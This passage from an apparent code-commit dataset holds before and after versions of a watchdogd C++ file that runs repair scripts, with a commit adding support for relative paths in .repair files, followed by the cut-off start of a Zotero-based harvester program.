(S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!(buffer.st_mode & S_IXUSR))\n\t\t\t\tcontinue;\n\n\t\t\tif (!(buffer.st_mode & S_IRUSR))\n\t\t\t\tcontinue;\n\t\t} else {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\trepaircmd_t *cmd = (repaircmd_t *) calloc(1, sizeof(*cmd));\n\n\t\tif (cmd == NULL) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tfor (size_t i = 0; i < strlen(repairScriptFolder); i += 1) {\n\t\t\tif (repairScriptFolder[i] == '\/' && i < strlen(repairScriptFolder)\n\t\t\t    && repairScriptFolder[i+1] == '\\0') {\n\t\t\t\trepairScriptFolder[i] = '\\0';\n\t\t\t}\n\t\t}\n\n\n\t\tWasprintf((char **)&cmd->path, \"%s\/%s\", repairScriptFolder, ent->d_name);\n\n\t\tif (cmd->path == NULL) {\n\t\t\tassert(cmd != NULL);\n\t\t\tfree(cmd);\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tcmd->legacy = true;\n\t\t} else {\n\t\t\t\/\/For V3 repair scripts cmd->path refers to the pathname of the repair script config file\n\t\t\tif (LoadRepairScriptLink\n\t\t\t    (&cmd->spawnattr, (char *)cmd->path) == false) {\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->spawnattr.repairFilePathname = strdup(cmd->path);\n\t\t\tfree((void *)cmd->path);\n\t\t\tcmd->path = NULL;\n\n\t\t\tcmd->path = cmd->spawnattr.execStart;\n\n\t\t\tif (cmd->path == NULL) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\"Ignoring malformed repair file: %s\\n\",\n\t\t\t\t\tent->d_name);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (fd < 0) {\n\t\t\t\tfprintf(stderr, \"unable to open file %s:\\n\",\n\t\t\t\t\tMyStrerror(errno));\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (IsExe(cmd->path, false) < 0) {\n\t\t\t\tfprintf(stderr, \"%s is not an executable\\n\",\n\t\t\t\t\tcmd->path);\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->legacy = false;\n\t\t}\n\n\t\tlist_add(&cmd->entry, &p->head);\n\t}\n\t\n\tassert(fd != -1);\n\n\tclose(fd);\n\tclosedir(dir);\n\tDeleteDuplicates(p);\n\treturn 0;\n\n error:\n\tassert(fd != -1);\n\tclose(fd);\n\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\tclosedir(dir);\n\n\treturn -1;\n}\n\nvoid FreeExeList(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tlist_del(&c->entry);\n\t\tfree((void *)c->path);\n\t\tif (c->legacy == false) {\n\t\t\tfree((void *)c->spawnattr.user);\n\t\t\tfree((void *)c->spawnattr.group);\n\t\t\tfree((void *)c->spawnattr.workingDirectory);\n\t\t\tfree((void *)c->spawnattr.repairFilePathname);\n\t\t\tfree((void *)c->spawnattr.noNewPrivileges);\n\t\t}\n\t\tfree(c);\n\t}\n}\n\nstatic void * __ExecScriptWorkerThread(void *a)\n{\n\tassert(a != NULL);\n\n\t__sync_synchronize();\n\n\tContainer *container = (Container *) a;\n\trepaircmd_t *c = container->cmd;\n\tcontainer->workerThreadCount += 1;\n\tsem = 1;\n\tFutexWake(&sem);\n\t__sync_synchronize();\n\n\tif (c->legacy == false) {\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\",\n\t\t\t\t      NULL);\n\t\t} else {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\", c->retString,\n\t\t\t\t      NULL);\n\t\t}\n\t} else {\n\t\tspawnattr_t attr = {\n\t\t\t\t.workingDirectory = NULL, .repairFilePathname = NULL,\n\t        \t\t.execStart = NULL, .user = NULL, .group = NULL,\n\t\t\t\t.timeout = container->config->repairBinTimeout, .nice = 0, .umask = 0,\n\t\t\t\t.noNewPrivileges = false, .hasUmask = false\n\t\t};\n\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->path, NULL);\n\t\t\t}\n\t\t} else {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->retString, c->path, NULL);\n\t\t\t}\n\t\t}\n\t}\n\n\tc->retString[0] = '\\0';\n\n\tcontainer->workerThreadCount -= 1;\n\n\t__sync_synchronize();\n\treturn NULL;\n}\n\nstatic void __WaitForWorkers(Container const *container)\n{\n\twhile (container->workerThreadCount != 0) {\n\t\tsleep(1);\n\t}\n}\n\nstatic int __ExecuteRepairScripts(void *a)\n{\n\tstruct executeScriptsStruct *arg = (struct executeScriptsStruct *)a;\n\tProcessList *p = arg->list;\n\tstruct cfgoptions *s = arg->config;\n\n\tContainer container = {{0}, s, NULL};\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tcontainer.cmd = c;\n\t\tcontainer.cmd->mode = TEST;\n\n\t\tc->retString[0] = '\\0';\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\tc = NULL;\n\tnext = NULL;\n\n\t__WaitForWorkers(&container);\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontainer.cmd = c;\n\t\tportable_snprintf(container.cmd->retString, sizeof(container.cmd->retString), \"%i\", c->ret);\n\n\t\tcontainer.cmd->mode = REPAIR;\n\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\t__WaitForWorkers(&container);\n\n\tc = NULL;\n\tnext = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret != 0) {\n\t\t\tLogmsg(LOG_ERR, \"repair %s script failed\",\n\t\t\t\tc->legacy == false ? c->spawnattr.repairFilePathname : c->path);\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nstatic int pipeFd[2] = {0};\n\nbool ExecuteRepairScriptsPreFork(ProcessList * p, struct cfgoptions *s)\n{\n\tif (list_is_empty(&p->head)) {\n\t\treturn true;\n\t}\n\n\tpipe(pipeFd);\n\n\tpid_t pid = fork();\n\n\tif (pid == -1) {\n\t\tLogmsg(LOG_ERR, \"%s\\n\", MyStrerror(errno));\n\t\treturn false;\n\t} else if (pid == 0) {\n\t\tclose(pipeFd[0]);\n\t\tpid_t pid = fork();\n\n#if defined(__linux__)\n\t\tif (LinuxRunningSystemd() == 1) {\n\t\t\tunsetenv(\"NOTIFY_SOCKET\");\n\t\t}\n#endif\n\n\t\tunsetenv(\"LD_PRELOAD\");\n\n\t\tif (pid > 0) {\n\t\t\t_Exit(0);\n\t\t}\n\n\n\t\tif (pid < 0) {\n\t\t\tLogmsg(LOG_ERR, \"fork failed: %s\", MyStrerror(errno));\n\t\t\tabort();\n\t\t}\n\n\t\tchar b[1];\n\n\t\tThreadPoolNew();\n\n\t\twhile (true) {\n\t\t\tuint64_t value = 0;\n\t\t\tstruct executeScriptsStruct ess;\n\t\t\tess.list = p;\n\t\t\tess.config = s;\n\n\t\t\tint ret = __ExecuteRepairScripts(&ess);\n\n\t\t\twrite(pipeFd[1], &ret, sizeof(ret));\n\t\t}\n\n\t\texit(0);\n\t}\n\tclose(pipeFd[1]);\n\treturn true;\n}\n\nint ExecuteRepairScripts(void)\n{\n\tuint64_t value = 1;\n\tint ret = 0;\n\n\tread(pipeFd[0], &ret, sizeof(ret));\n\n\tif (ret != 0) {\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n<commit_msg>allow relative paths in .repair file<commit_after>\/*\n * Copyright 2013-2016 Christian Lockley\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may \n * not use this file except in compliance with the License. You may obtain \n * a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License. \n *\/\n#define _DEFAULT_SOURCE\n#include <libgen.h>\n#include \"watchdogd.hpp\"\n#include \"sub.hpp\"\n#include <dirent.h>\n#include <semaphore.h>\n#include \"testdir.hpp\"\n#include \"exe.hpp\"\n#include \"repair.hpp\"\n#include <sys\/eventfd.h>\n#include \"threadpool.hpp\"\n#include \"futex.hpp\"\n\nstatic std::atomic_int sem = {0};\n\/\/The dirent_buf_size function was written by Ben Hutchings and released under the following license.\n\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy of this\n\/\/software and associated documentation files (the \"Software\"), to deal in the Software\n\/\/without restriction, including without limitation the rights to use, copy, modify, merge,\n\/\/publish, distribute, sublicense, and\/or sell copies of the Software, and to permit\n\/\/persons to whom the Software is furnished to do so, subject to the following\n\/\/condition:\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n\/\/EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n\/\/MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n\/\/NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n\/\/HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n\/\/WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/DEALINGS IN THE SOFTWARE.\n\n\/\/Copied into this program Sun September 8, 2013 by Christian Lockley\n\nsize_t DirentBufSize(DIR * dirp)\n{\n\tlong name_max;\n\tsize_t name_end;\n#if defined(HAVE_FPATHCONF) && defined(HAVE_DIRFD) \\\n&& defined(_PC_NAME_MAX)\n\tname_max = fpathconf(dirfd(dirp), _PC_NAME_MAX);\n\tif (name_max == -1)\n#if defined(NAME_MAX)\n\t\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n\t\treturn (size_t) (-1);\n#endif\n#else\n#if defined(NAME_MAX)\n\tname_max = (NAME_MAX > 255) ? NAME_MAX : 255;\n#else\n#error \"buffer size for readdir_r cannot be determined\"\n#endif\n#endif\n\tname_end =\n\t    (size_t) offsetof(struct dirent,\n\t\t\t      d_name) + (unsigned long)name_max + 1;\n\treturn (name_end > sizeof(struct dirent)\n\t\t? name_end : sizeof(struct dirent));\n}\n\nstatic void DeleteDuplicates(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\trepaircmd_t *b = NULL;\n\t\trepaircmd_t *next2 = NULL;\n\t\tif (c->legacy) {\n\t\t\tlist_for_each_entry(b, next2, &p->head, entry) {\n\t\t\t\tif (!b->legacy) {\n\t\t\t\t\tif (strcmp(c->path, b->path) == 0) {\n\t\t\t\t\t\tlist_del(&c->entry);\n\t\t\t\t\t\tfree((void *)c->path);\n\t\t\t\t\t\tLogmsg(LOG_INFO, \"Using configuration info for %s script\", b->path);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nint CreateLinkedListOfExes(char *repairScriptFolder, ProcessList * p,\n\t\t\t   struct cfgoptions *const config)\n{\n\tassert(p != NULL);\n\tassert(repairScriptFolder != NULL);\n\n\tstruct stat buffer;\n\tstruct dirent *ent = NULL;\n\n\tlist_init(&p->head);\n\n\tint fd = open(repairScriptFolder, O_DIRECTORY | O_RDONLY);\n\n\tif (fd == -1) {\n\t\tif (!(IDENTIFY & config->options)) {\n\t\t\tfprintf(stderr, \"watchdogd: %s: %s\\n\", repairScriptFolder,\n\t\t\t\tMyStrerror(errno));\n\t\t}\n\n\t\tif (config->options & FORCE || config->options & SOFTBOOT || config->haveConfigFile == false) {\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn 1;\n\t}\n\n\tDIR *dir = fdopendir(fd);\n\n\tif (dir == NULL) {\n\t\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\t\tclose(fd);\n\t\treturn -1;\n\t}\n\n\terrno = 0;\n\n\twhile ((ent = readdir(dir)) != NULL) {\n\n\t\tint statfd = dirfd(dir);\n\n\t\tif (statfd == -1) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (strchr(\".\", ent->d_name[0]) != NULL && !(config->options & FORCE)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tif (fstatat(statfd, ent->d_name, &buffer, 0) < 0)\n\t\t\tcontinue;\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!(buffer.st_mode & S_IXUSR))\n\t\t\t\tcontinue;\n\n\t\t\tif (!(buffer.st_mode & S_IRUSR))\n\t\t\t\tcontinue;\n\t\t} else {\n\t\t\tif (S_ISREG(buffer.st_mode) == 0) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\trepaircmd_t *cmd = (repaircmd_t *) calloc(1, sizeof(*cmd));\n\n\t\tif (cmd == NULL) {\n\t\t\tgoto error;\n\t\t}\n\n\t\tfor (size_t i = 0; i < strlen(repairScriptFolder); i += 1) {\n\t\t\tif (repairScriptFolder[i] == '\/' && i < strlen(repairScriptFolder)\n\t\t\t    && repairScriptFolder[i+1] == '\\0') {\n\t\t\t\trepairScriptFolder[i] = '\\0';\n\t\t\t}\n\t\t}\n\n\n\t\tWasprintf((char **)&cmd->path, \"%s\/%s\", repairScriptFolder, ent->d_name);\n\n\t\tif (cmd->path == NULL) {\n\t\t\tassert(cmd != NULL);\n\t\t\tfree(cmd);\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (IsRepairScriptConfig(ent->d_name) == 0) {\n\t\t\tcmd->legacy = true;\n\t\t} else {\n\t\t\t\/\/For V3 repair scripts cmd->path refers to the pathname of the repair script config file\n\t\t\tif (LoadRepairScriptLink\n\t\t\t    (&cmd->spawnattr, (char *)cmd->path) == false) {\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->spawnattr.repairFilePathname = strdup(cmd->path);\n\t\t\tfree((void *)cmd->path);\n\t\t\tcmd->path = NULL;\n\t\t\tcmd->path = cmd->spawnattr.execStart;\n\n\t\t\tchar * rel = basename(strdup(cmd->path));\n\n\t\t\tif (strcmp(rel, cmd->path) == 0) {\n\t\t\t\tfree((void*)rel);\n\t\t\t\tWasprintf((char **)&rel, \"%s\/%s\", repairScriptFolder, cmd->path);\n\t\t\t\tfree((void*)cmd->path);\n\t\t\t\tcmd->path = cmd->spawnattr.execStart = rel;\n\t\t\t}\n\n\t\t\tif (cmd->path == NULL) {\n\t\t\t\tfprintf(stderr,\n\t\t\t\t\t\"Ignoring malformed repair file: %s\\n\",\n\t\t\t\t\tent->d_name);\n\t\t\t\tfree(cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (fd < 0) {\n\t\t\t\tfprintf(stderr, \"unable to open file %s:\\n\",\n\t\t\t\t\tMyStrerror(errno));\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (IsExe(cmd->path, false) < 0) {\n\t\t\t\tfprintf(stderr, \"%s is not an executable\\n\",\n\t\t\t\t\tcmd->path);\n\t\t\t\tfree((void *)cmd->path);\n\t\t\t\tfree((void *)cmd);\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcmd->legacy = false;\n\t\t}\n\n\t\tlist_add(&cmd->entry, &p->head);\n\t}\n\t\n\tassert(fd != -1);\n\n\tclose(fd);\n\tclosedir(dir);\n\tDeleteDuplicates(p);\n\treturn 0;\n\n error:\n\tassert(fd != -1);\n\tclose(fd);\n\tLogmsg(LOG_ERR, \"watchdogd: %s\", MyStrerror(errno));\n\tclosedir(dir);\n\n\treturn -1;\n}\n\nvoid FreeExeList(ProcessList * p)\n{\n\tassert(p != NULL);\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tlist_del(&c->entry);\n\t\tfree((void *)c->path);\n\t\tif (c->legacy == false) {\n\t\t\tfree((void *)c->spawnattr.user);\n\t\t\tfree((void *)c->spawnattr.group);\n\t\t\tfree((void *)c->spawnattr.workingDirectory);\n\t\t\tfree((void *)c->spawnattr.repairFilePathname);\n\t\t\tfree((void *)c->spawnattr.noNewPrivileges);\n\t\t}\n\t\tfree(c);\n\t}\n}\n\nstatic void * __ExecScriptWorkerThread(void *a)\n{\n\tassert(a != NULL);\n\n\t__sync_synchronize();\n\n\tContainer *container = (Container *) a;\n\trepaircmd_t *c = container->cmd;\n\tcontainer->workerThreadCount += 1;\n\tsem = 1;\n\tFutexWake(&sem);\n\t__sync_synchronize();\n\n\tif (c->legacy == false) {\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\",\n\t\t\t\t      NULL);\n\t\t} else {\n\t\t\tc->ret =\n\t\t\t    SpawnAttr(&c->spawnattr, c->path, c->path, c->mode == TEST ? \"test\": \"repair\", c->retString,\n\t\t\t\t      NULL);\n\t\t}\n\t} else {\n\t\tspawnattr_t attr = {\n\t\t\t\t.workingDirectory = NULL, .repairFilePathname = NULL,\n\t        \t\t.execStart = NULL, .user = NULL, .group = NULL,\n\t\t\t\t.timeout = container->config->repairBinTimeout, .nice = 0, .umask = 0,\n\t\t\t\t.noNewPrivileges = false, .hasUmask = false\n\t\t};\n\n\t\tif (c->retString[0] == '\\0') {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->path, NULL);\n\t\t\t}\n\t\t} else {\n\t\t\tif (c->mode == TEST) {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"test\", NULL);\n\t\t\t} else {\n\t\t\t\tc->ret = SpawnAttr(&attr, c->path, c->path, \"repair\", c->retString, c->path, NULL);\n\t\t\t}\n\t\t}\n\t}\n\n\tc->retString[0] = '\\0';\n\n\tcontainer->workerThreadCount -= 1;\n\n\t__sync_synchronize();\n\treturn NULL;\n}\n\nstatic void __WaitForWorkers(Container const *container)\n{\n\twhile (container->workerThreadCount != 0) {\n\t\tsleep(1);\n\t}\n}\n\nstatic int __ExecuteRepairScripts(void *a)\n{\n\tstruct executeScriptsStruct *arg = (struct executeScriptsStruct *)a;\n\tProcessList *p = arg->list;\n\tstruct cfgoptions *s = arg->config;\n\n\tContainer container = {{0}, s, NULL};\n\n\trepaircmd_t *c = NULL;\n\trepaircmd_t *next = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tcontainer.cmd = c;\n\t\tcontainer.cmd->mode = TEST;\n\n\t\tc->retString[0] = '\\0';\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\tc = NULL;\n\tnext = NULL;\n\n\t__WaitForWorkers(&container);\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret == 0) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tcontainer.cmd = c;\n\t\tportable_snprintf(container.cmd->retString, sizeof(container.cmd->retString), \"%i\", c->ret);\n\n\t\tcontainer.cmd->mode = REPAIR;\n\n\t\tThreadPoolAddTask(__ExecScriptWorkerThread, &container, true);\n\t\t__sync_synchronize();\n\t\tFutexWait(&sem, 0);\n\t\tsem = 0;\n\t}\n\n\t__WaitForWorkers(&container);\n\n\tc = NULL;\n\tnext = NULL;\n\n\tlist_for_each_entry(c, next, &p->head, entry) {\n\t\tif (c->ret != 0) {\n\t\t\tLogmsg(LOG_ERR, \"repair %s script failed\",\n\t\t\t\tc->legacy == false ? c->spawnattr.repairFilePathname : c->path);\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nstatic int pipeFd[2] = {0};\n\nbool ExecuteRepairScriptsPreFork(ProcessList * p, struct cfgoptions *s)\n{\n\tif (list_is_empty(&p->head)) {\n\t\treturn true;\n\t}\n\n\tpipe(pipeFd);\n\n\tpid_t pid = fork();\n\n\tif (pid == -1) {\n\t\tLogmsg(LOG_ERR, \"%s\\n\", MyStrerror(errno));\n\t\treturn false;\n\t} else if (pid == 0) {\n\t\tclose(pipeFd[0]);\n\t\tpid_t pid = fork();\n\n#if defined(__linux__)\n\t\tif (LinuxRunningSystemd() == 1) {\n\t\t\tunsetenv(\"NOTIFY_SOCKET\");\n\t\t}\n#endif\n\n\t\tunsetenv(\"LD_PRELOAD\");\n\n\t\tif (pid > 0) {\n\t\t\t_Exit(0);\n\t\t}\n\n\n\t\tif (pid < 0) {\n\t\t\tLogmsg(LOG_ERR, \"fork failed: %s\", MyStrerror(errno));\n\t\t\tabort();\n\t\t}\n\n\t\tchar b[1];\n\n\t\tThreadPoolNew();\n\n\t\twhile (true) {\n\t\t\tuint64_t value = 0;\n\t\t\tstruct executeScriptsStruct ess;\n\t\t\tess.list = p;\n\t\t\tess.config = s;\n\n\t\t\tint ret = __ExecuteRepairScripts(&ess);\n\n\t\t\twrite(pipeFd[1], &ret, sizeof(ret));\n\t\t}\n\n\t\texit(0);\n\t}\n\tclose(pipeFd[1]);\n\treturn true;\n}\n\nint ExecuteRepairScripts(void)\n{\n\tuint64_t value = 1;\n\tint ret = 0;\n\n\tread(pipeFd[0], &ret, sizeof(ret));\n\n\tif (ret != 0) {\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** \\brief Handles crawling as well as RSS feeds.\n *  \\author Dr. Johannes Ruscheinski (johannes.ruscheinski@uni-tuebingen.de)\n *\n *  \\copyright 2018 Universitätsbibliothek Tübingen.  All rights reserved.\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as\n *  published by the Free Software Foundation, either version 3 of the\n *  License, or (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <iostream>\n#include <memory>\n#include <unordered_map>\n#include <cstdlib>\n#include \"DbConnection.h\"\n#include \"IniFile.h\"\n#include \"MARC.h\"\n#include \"RegexMatcher.h\"\n#include \"StringUtil.h\"\n#include \"util.h\"\n#include \"Zotero.h\"\n\n\nnamespace {\n\n\n[[noreturn]] void Usage() {\n    std::cerr << \"Usage: \" << ::progname << \" [options] config_file_path [section1 section2 .. sectionN]\\n\"\n              << \"\\n\"\n              << \"\\tOptions:\\n\"\n              << \"\\t[--verbosity=log_level]                                     Possible log levels are ERROR, WARNING, INFO, and DEBUG with the default being WARNING.\\n\"\n              << \"\\t[--test]                                                    No download information will be stored for further downloads.\\n\"\n              << \"\\t[--ignore-robots-dot-txt]\\n\"\n              << \"\\t[--map-directory=map_directory]\\n\"\n              << \"\\t[--previous-downloads-db-file=previous_downloads_db_file]\\n\"\n              << \"\\t[--output-file=output_file]\\n\"\n              << \"\\n\"\n              << \"\\tIf any section names have been provided, only those will be processed o\/w all sections will be processed.\\n\\n\";\n    std::exit(EXIT_FAILURE);\n}\n\n\nvoid LoadMARCEditInstructions(const IniFile::Section &section, std::vector<MARC::EditInstruction> * edit_instructions) {\n    edit_instructions->clear();\n\n    for (const auto &name_and_value : section) {\n        if (StringUtil::StartsWith(name_and_value.first, \"insert_field_\")) {\n            const std::string tag_candidate(name_and_value.first.substr(__builtin_strlen(\"insert_field_\")));\n            if (tag_candidate.length() != MARC::Record::TAG_LENGTH)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateInsertFieldInstruction(tag_candidate, name_and_value.second));\n        } else if (StringUtil::StartsWith(name_and_value.first, \"insert_subfield_\")) {\n            const std::string tag_and_subfield_code_candidate(name_and_value.first.substr(__builtin_strlen(\"insert_subfield_\")));\n            if (tag_and_subfield_code_candidate.length() != MARC::Record::TAG_LENGTH + 1)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateInsertSubfieldInstruction(\n                tag_and_subfield_code_candidate.substr(0, MARC::Record::TAG_LENGTH),\n                tag_and_subfield_code_candidate[MARC::Record::TAG_LENGTH], name_and_value.second));\n        } else if (StringUtil::StartsWith(name_and_value.first, \"add_subfield_\")) {\n            const std::string tag_and_subfield_code_candidate(name_and_value.first.substr(__builtin_strlen(\"add_subfield_\")));\n            if (tag_and_subfield_code_candidate.length() != MARC::Record::TAG_LENGTH + 1)\n                LOG_ERROR(\"bad entry in section \\\"\" + section.getSectionName() + \"\\\" \\\"\" + name_and_value.first + \"\\\"!\");\n            edit_instructions->emplace_back(MARC::EditInstruction::CreateAddSubfieldInstruction(\n                tag_and_subfield_code_candidate.substr(0, MARC::Record::TAG_LENGTH),\n                tag_and_subfield_code_candidate[MARC::Record::TAG_LENGTH], name_and_value.second));\n        }\n    }\n}\n\n\nvoid ReadAugmentParamsFromIni(const IniFile::Section &section, Zotero::AugmentParams * const augment_params) {\n    augment_params->override_ISSN_print_ = section.getString(\"issn_print\", \"\");\n    augment_params->override_ISSN_online_ = section.getString(\"issn_online\", \"\");\n    augment_params->strptime_format_ = section.getString(\"strptime_format\", \"\");\n}\n\n\nUnsignedPair ProcessRSSFeed(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                            Zotero::AugmentParams * const augment_params, DbConnection * const db_connection, const bool &test)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n\n    const std::string feed_url(section.getString(\"feed\"));\n    LOG_DEBUG(\"feed_url: \" + feed_url);\n    Zotero::RSSHarvestMode rss_harvest_mode(Zotero::RSSHarvestMode::NORMAL);\n    if (test)\n        rss_harvest_mode = Zotero::RSSHarvestMode::TEST;\n    return Zotero::HarvestSyndicationURL(rss_harvest_mode, feed_url, harvest_params, augment_params, db_connection);\n}\n\n\nvoid InitSiteDescFromIniFileSection(const IniFile::Section &section, SimpleCrawler::SiteDesc * const site_desc) {\n    site_desc->start_url_ = section.getString(\"base_url\");\n    site_desc->max_crawl_depth_ = section.getUnsigned(\"max_crawl_depth\");\n    site_desc->url_regex_matcher_.reset(RegexMatcher::RegexMatcherFactoryOrDie(section.getString(\"extraction_regex\")));\n    site_desc->strptime_format_ = section.getString(\"strptime_format\", \"\");\n}\n\n\nUnsignedPair ProcessCrawl(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                          Zotero::AugmentParams * const augment_params, const SimpleCrawler::Params &crawler_params,\n                          const std::shared_ptr<RegexMatcher> &supported_urls_regex)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n\n    SimpleCrawler::SiteDesc site_desc;\n    InitSiteDescFromIniFileSection(section, &site_desc);\n    return Zotero::HarvestSite(site_desc, crawler_params, supported_urls_regex, harvest_params, augment_params);\n}\n\n\nUnsignedPair ProcessDirectHarvest(const IniFile::Section &section, const std::shared_ptr<Zotero::HarvestParams> &harvest_params,\n                                  Zotero::AugmentParams * const augment_params)\n{\n    ReadAugmentParamsFromIni(section, augment_params);\n    return Zotero::HarvestURL(section.getString(\"url\"), harvest_params, augment_params);\n}\n\n\nstd::string GetMarcFormat(const std::string &output_filename) {\n    switch (MARC::GuessFileType(output_filename)) {\n    case MARC::FileType::BINARY:\n        return \"marc21\";\n    case 